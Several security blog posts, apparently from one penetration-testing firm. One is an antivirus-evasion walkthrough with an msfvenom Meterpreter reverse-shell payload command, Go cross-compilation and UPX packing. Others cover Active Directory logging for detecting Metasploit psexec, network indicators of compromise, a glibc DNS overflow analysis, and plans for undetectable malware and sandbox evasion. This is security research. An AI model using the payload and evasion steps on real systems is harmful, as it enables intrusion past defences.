Bypassing Antivirus with Golang – Gopher it!

Posted by warden on June 20th, 2019

In this blog post, we’re going to detail a cool little trick we came across on how to bypass most antivirus products to get a Metepreter reverse shell on a target host. This all started when we came across a Github repository written in Golang, which on execution could inject shellcode into running processes. By simply generating a payload with msfvenom we tested it and found that it was easily detected by Windows Defender. The Meterpreter payload was generated as follows:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -b \x00 -f hex

The perk of using Go for this experiment is that it can be cross-compiled, from a Linux host for a target Windows host. The command to compile the application was:

GOOS=windows GOARCH=amd64 go build

This would produce a Go exe which would be executed from the command line, along with the shellcode the attacker wanted to inject. This was easily detected, and Windows Defender identified it as Meterpreter without any trouble. As a quick and easy bypass, we tried to compress the executable using UPX in brute mode, which repeatedly compresses it 8 times. No luck here either, as Windows Defender caught it again.

Fig.1- Attempting to run the Go exe file with the shellcode as an argument. As you can see it was easily detected by Windows Defender. We then tried with the UPX compressed sc.exe file, which also didn’t work.

Fig.2 – Of course, the Meterpreter session is killed as soon as the process is detected by Windows Defender.

From here we inspected the source code of the Go program. After some review, we discovered that the main.go source file could be modified to take the shellcode as a variable then compiled – instead of compiling the .exe then adding the shellcode as a command line argument.

Fig.3 – The go-shellcode/cmd/sc/main.go source.

Fig.4 – The modified go-shellcode/cmd/sc/main.go source, where the reference to a command line argument is substituted for a declared variable.

With these we compiled two .exe files, one to be tested without UPX compression, and one with UPX compression. Windows Defender detects the non-compressed version as soon as it touches disk, but does not detect the UPX compressed .exe with static analysis.

Fig.5 – The .exe with no UPX compression is instantly detected as containing a Meterpreter payload by Windows Defender. No dice.

Running the custom UPX compressed .exe file is successful however, and a reverse shell is achieved!

Fig.6 – Running the UPX compressed Go exe file is successful, and a reverse shell is achieved on the victim’s machine.

Fantastic. Let’s run it against VT to check how loud the signature for this is.

Fig.7 – Uploading the UPX compressed Go exe file to Virus Total. Only Cybereason and Cylance detect the file as being malicious.

Only two antivirus engines are picking up that there is a malicious payload in this file, and both of them don’t specify what exactly about the upload is malicious, just that it IS malicious. The UPX compression is likely what’s triggering the alert, as UPX compression can be used to obfuscate malicious files.

Fig.8 – UPX compression in brute mode compresses the exe file 8 times.

And that’s it! In this blog post we detailed how we modified a great Go program from Github (resource listed below) that performed shellcode injection into one that efficiently evaded most antivirus programs.

The gist for this is available here.

Reference:

https://github.com/brimstone/go-shellcode

https://boyter.org/posts/trimming-golang-binary-fat/

https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/

Enhanced logging to detect common attacks on Active Directory– Part 1

Posted by bugzBunny on February 6th, 2019

In this blog post I am going to tackle the topic of detecting common attacks using Active Directory logs. It is important to understand the power of data in InfoSec world. Too much data means you’ll be spending rest of the week digging through millions of log entries to try and figure out what the adversary was up to. You can set filters to help you through this, however it can get computationally expensive very fast depending on how your filters operate. It also requires you to know what to specifically look out for! You need to have confidence in your filters and test them thoroughly from time to time to make sure they actually work.

On the other hand, too little data means you might not have enough log entries to investigate and provide full evidence of what malicious techniques were attempted. For this reason, it is a constant battle of finding the middle ground of having hard evidence and not overwhelming your SIEM. Another golden question to ask is: are we even logging the correct events?

One of the ways to get around this problem is configuring the correct Group Policies on the Domain Controllers. In this blog post I want to focus solely on command line logging because it is a quick win and it shows immense amount of detail into what processes and commands are executed. We start off by enabling the correct settings in the Group Policy using Group Policy Editor. The steps are detailed below:

Follow the path Policies → Administrative Templates → System → Audit Process Creation. And enable “include command line in process creation events”

Follow the path Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → System Audit Policies → Detailed Tracking. And enable both Successful and Failure configuration for “Audit Process Creation” and “Audit Process Termination” as shown below.

After configuring these settings, run the good old group policy update on command prompt as administrator using the command gpupdate /force. At this point, you should be able to see all commands being executed via command prompt.

We can test this by running some commands and viewing the logs to verify as shown below by running some test commands. We can see that by running test commands event ID 4688 (New process created) event is generated showing what was typed in the command prompt.

Now, we can move forward and test this with the psexec module from Metasploit using the exploit/windows/smb/psexec module as shown below.

After setting the correct parameters, we execute the exploit and observe the logs produced from this action.

Now this will generate a lot of events and keeping up with the incoming logs using Windows Event Viewer will be almost impossible. The best way to analyse these events is to parse these events through a SIEM solution for better log management. After everything is set up correctly, we can now begin the hunt! Monitoring the recent activity on the target machine, we see some interesting events:

Event ID 7045 – A service was installed in the system

The details around this event shows that the service named yReAMNiNjOyqeWQI was installed by the user root (which we know is the user used for this exploit). There are some interesting parameters defined here such as -nop, -hidden and -noni

Such parameters can be used for obfuscation purposes. However, it becomes harder to detect these obfuscation parameters with keyword matching when there are multiple valid execution argument aliases for them. For example, for -NoProfile argument alone, argument substrings such as -NoP, -NoPr -NoPro, -NoProf, -NoProfi and -NoProfil are all valid! This is where we chuck keyword matching filters out of the window and look towards regular expressions for detection.

Focusing more on the name of the service being installed (yReAMNiNjOyqeWQI) looks like gibberish which is exactly what it is. Looking at the source code of the psexec module for Metasploit framework, we see that the display name is essentially 16 character long random text! We just found another possible filter that could help us detect these types of exploits.

Furthermore, we can also see a new process created (with event ID 4688) which logs the actual command being executed during this attack!

Do you remember the thing we did with the group policies earlier? It wasn’t just to fill this blog post with random text and screenshots…nope… instead setting those group policies accordingly will allow you to log what was executed in command prompt as shown above! This is very useful in monitoring what crazy things are being executed on your windows network.

That’s all for now, I hope you found this helpful as well as interesting. In the next part of this blog post series I will reveal more ingesting detection techniques.

Short introduction to Network Forensics and Indicators of Compromise (IoC)

Posted by XoN on June 28th, 2016

“Indicator of compromise (IOC) in computer forensics is an artifact observed on a network or in an operating system that with high confidence indicates a computer intrusion. Typical IOCs are virus signatures and IP addresses, MD5 hashes of malware files or URLs or domain names of botnet command and control servers. After IOCs have been identified in a process of incident response and computer forensics, they can be used for early detection of future attack attempts using intrusion detection systems and antivirus software.” Wikipedia

Hello w0rld! In this post I am planning to do a brief introduction into network forensics and how network monitoring can be used to identify successful attacks. Network monitoring is essential in order to identify reconnaissance activities such as port scans but also for identifying successful attacks such as planted malware (such as ransomware) or spear-phishing. Generally when doing network forensics the network footprint is of significant importance since it allows us to replicate the timeline of events. With that said, network footprint can still be obscured/hidden by using cryptographic means such as point-2-point encryption. Even if you can’t see the actual traffic because it is encrypted, what you can see is the bandwidth load which might be an IoC.

In incident response the first step is the time that is needed for the attack realization. If the attack is not realized then of course there is no ‘incident response’ (doh!). There is a list of things that the analyst should go over in order to try to identify if an attack was successful. The list is not definite and there are far more things that need to be checked than those discussed here.
Whether an attack is targeted or non-targeted, if it is utilizing the Internet connection in any way it will leave network footprints behind. In targeted attacks we see things like spear-phishing and USB planting that quite often are targeting susceptible individuals with lack of security awareness. Non-targeted attacks might include attack vectors such as malware, ransomware, malicious javascripts, flash exploits, etc. This is not exhausting since flash exploits and malicious javascripts can be used also in a targeted fashion.
By identifying the Indicators of Compromise (IoC), we can have briefly describe each attack vector as follows depending on the network footprint that will have:

IP addresses
domain names
DNS resolve requests/response
downloadable malicious content (javascripts, flash, PDF files with embedded scripts, DOCX with Macros enabled)

There are also indicators coming out from behavioural analysis. For example a malware which contacts a Command & Control server will ‘beacon’ in a timely (usually) fashion. This ‘beaconing’ behaviour can be identified by monitoring spikes of specific traffic or bandwidth utilisation of a host. Moreover it can be spotted by monitoring out-of-hours behaviour since a host shouldn’t send data except of X type (which is legit) or shouldn’t be sending any data at all.
Ransomware will encrypt all accessible filesystems/mounted drives and will ask (guess what!?) for money! Most likely it will be downloaded somehow or will be dropped by exploit kits or other malware. Sometimes it is delivered through email attachments (if mail administrator has no clue!). As stand-alone ‘version’ ransomware comes in portable executable (PE file) format. However variants of Cryptolocker are employing even PowerShell for doing so. In order to detect them we need a way to extract the files from the network dump. There are couple of tools that does this such as foremost but it is also possible to do it ‘manually’ through wireshark by exporting the objects. This assumes that the file transfer happened through an unencrypted channel and not under SSL.
Malware might serve many different purposes such as stealing data, utilizing bandwidth for DDoS, or used as a ‘dropper’ where a ransomware is pushed. One of the more concerning is turning a compromised host into a zombie computer. Fast flux malware have numerous IPs associated with a single FQDN whereas domain flux malware have multiple FQDN per single IP. The latter is not ideal for malware authors since this IP will be easily identified and traffic will be dropped (a bit more about ‘sinkhole‘ in the next paragraph!).
Assuming that we are after a fast flux malware that uses a C&C, then there are ways to locate the malware by looking for beaconing. Quite often these malware make use of DGAs (Domain Generation Algorithms) which basically hide the C&C IP behind a series of different domain names. Malware that uses DGA are actively avoiding ‘sinkhole’ which allows ISPs to identify the malicious IP (C&C) and leading to the ‘blackhole’ of the traffic, shunning the communication of the infected system with it.
An infected host will attempt to resolve (through DNS) a series of domain names acquired from the DGAs, This behaviour will lead to lots of ‘Non-Existent’ NX responses from the name server back to the infected machine. Monitoring the number of NX responses might help us identify infected systems. Moreover monitoring the DNS queries should also help.

In a latter post I will publish a small script that I am using for looking for IoC.

Script under development 😉

CVE 2015-7547 glibc getaddrinfo() DNS Vulnerability

Posted by jstester007 on March 7th, 2016

Hello w0rld! JUMPSEC researchers have spent some time on the glibc DNS vulnerability indexed as CVE 2015-7547 (It hasn’t got a cool name like GHOST unfortunately…). It appears to be a highly critical vulnerability and covers a large number of systems. It allows remote code execution by a stack-based overflow in the client side DNS resolver. In this post we would like to present our analysis.

Google POC overview

Google POC Network Exploitation Timeline

Google POC Exploit Code Analysis

First response

Code snippet

Packet capture snippet

The dw() function calls a “struct” module from python library. According to the documentation, it performs conversion between python values and C structs represented as python strings. In this case, it interprets python integer and pack it into little-endian short type binary data. This is a valid response sent by the “malicious” DNS server when it receives any initial queries. This response packet is constructed intentionally in large size (with 2500 bytes of null), it forces the client to retry over TCP and allocate additional memory buffer for the next response. This also triggers the dual DNS query from getaddrinfo() on the client side, which is a single request containing A and AAAA queries concatnated.

Second Response

Code snippet

Packet capture snippet

This is the second response sent by the malicious DNS server. It is a malformed packet sending large numbers of “fake records” (184 Answer RRs) back to the client. According to google, this forces __libc_res_nsend to retry the query.

Third response

Code snippet

Packet capture snippet

This is the third response sent by the “malicious” DNS server. It is another malformed packet which is carrying the payload. JUMPSEC researcher has modified the Google POC code to identify the the number of bytes to cause a segmentation fault (possibly overwriting the RET address) of the buffer. It is found that the RET address is being overwritten on the 2079^th byte. With the addition of return_to_libc technique, an attacker can bypass OS protection such as NX bit or ASLR and perform remote code execution.

Google POC debugging and crash analysis

JUMPSEC has run it through the trusty gdb. It crashes with a SEGMENTATION FAULT which verifies that the DNS response has smashed the stack of the vulnerable client application when running getaddrinfo(). The vulnerable buffer is operated in gaih_getanswer. The entry address has been overwritten with 0x4443424144434241 (ABCDABCD). The state of the register also showing the overflowed bytes.

SEGFAULT from vulnerable client. RET address is overwritten with “ABCDABCD”

Backtrack

Registers

JUMPSEC has also tested it on a few other applications. It was found that the getaddrinfo() function in glibc is commonly used…

Iceweasel crashing

Conclusion

The best way to mitigate this issue is to enforce proper patching management. Make sure to update all your systems with the latest version of glibc . If you have any systems exposed on the internet and you want to make sure that this vulnerability is not triggered then the following Wireshark filter could be useful: (DNS.length>2048 to see malformed packets). A DNS response has a maximum of 512 bytes (typically), note that the DNS reply is truncated. Even if the client does not accept large response, smaller responses can be combine into a large one which can also trigger the vulnerability. A possible filter is to monitor the size of the entire conversation as a distinct amount of bytes in total is require to trigger specific responses from vulnerable client and all of them requires more than 2048 bytes.

The above vulnerability can be fixed by patching. If you are running RedHat or CentOS a simple

yum -y update glibc

will update the libc and resolve the issue (remember to restart the service right after the update!).

Reference links

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7547

http://pubs.opengroup.org/onlinepubs/9699919799/functions/freeaddrinfo.html

https://googleonlinesecurity.blogspot.co.uk/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html

https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html

Research and Development

Posted by XoN on January 28th, 2016

Hello w0rld. On this post we would like to let you know our areas of research and the research projects that we are working on currently. For 2016 we are planning to develop tools that will be used in our tests. Our areas of interest can be highlighted as:

AntiVirus Detection and Evasion techniques (sandbox detection, etc)
Packers, anti-debugging, anti-disassembly and binary obfuscation
Network packet capture analysis scripts looking for IoC

FUD Malware (maybe Veil Improvisation)

The initial idea is to find a way to create several different templates on top of Veil. Additionally we can implement several add-ons for Virtual Machine detection or Sandbox Environment detection. This can be either logical-based such as human interaction or can be through technical means like red pills. Even 2-3 assembly instructions can be used for identifying a sandbox environment.
Veil exports a .py file which is quite random. It randomizes variable names and also since it uses encryption it randomizes the key that will be used. Then it encrypts the payload and stores it in a .stub area on the binary. This area will be unfold after the execution and a routine is responsible for decrypting and launching the payload. This doesn’t offer and sandbox detection nor VM detection. It is heavily focused against AVs and specifically it is focused defeating signature-based detection systems.
The idea of having different binaries but still using the same payload (meterpreter) is necessary for pentesters and for generating quickly payloads that will be used in social engineering tasks.
Technically now the most important property is the large keyspace. The larger the key space the more ‘impossible’ to hit the same binary twice. Veil is providing that but still there are issues with the actual binary. My thought is to either break the exported binary and placed it under a new one OR just add several lines of code in the python script that will be used for compilation (through py2exe or pwninstaller). Another possibility is to mess around the pwninstaller and add things there. Another idea is to add randomisation on techniques defeating / escaping sandbox environments.
Things that are looking promising:

Mess with the actual PE Header, things like .STAB areas, add more stab areas add junk data to stab areas or even add other encrypted data that might look interesting (hyperion paper also has a super cool idea…)
Change the file size of the exported binary dynamically. This will happen assuming the above will happen. (Can also be randomized with NOP padding
Change values that will not necessarily mess the execution (maybe the versioning of the PE? or the Entry point of the binary?)
Write a small scale packer for performance and maybe add also VM detection there
Employ sandbox detection and VM detection through several means (this also adds to the 2nd step)
Randomized routines for sandbox detection (if mouse_right_click = %random_value then decrypt else break/sleep)

Implementation techniques will include ctypes for sandbox detection and adding loops or other useless things such as calculations. Also using ndisasm or pyelf for messing the binary it is suggested. Red pills can be used in several different techniques.

Packer

Another idea that JUMPSEC labs have is to develop their own packer. This will have several routines for:

Static analysis obfuscation: Encryption
Dynamic analysis obfuscation: Add noise in program flow/Add randomness to data/runtime
Anti-debugging
Sandbox escape: Detect human interactions

Network Analysis Scripts

We are developing several scripts for analysing pcap files. The purpose of these scripts is to parse packet captures and to identify whether there are IoC (Indicators of Compromise) by performing statistical analysis of the protocols usage and searching for potential protocol misuse (HTTP requests / responses that arent according to RFC).

Bypassing Antivirus with Golang – Gopher it!

Short introduction to Network Forensics and Indicators of Compromise (IoC)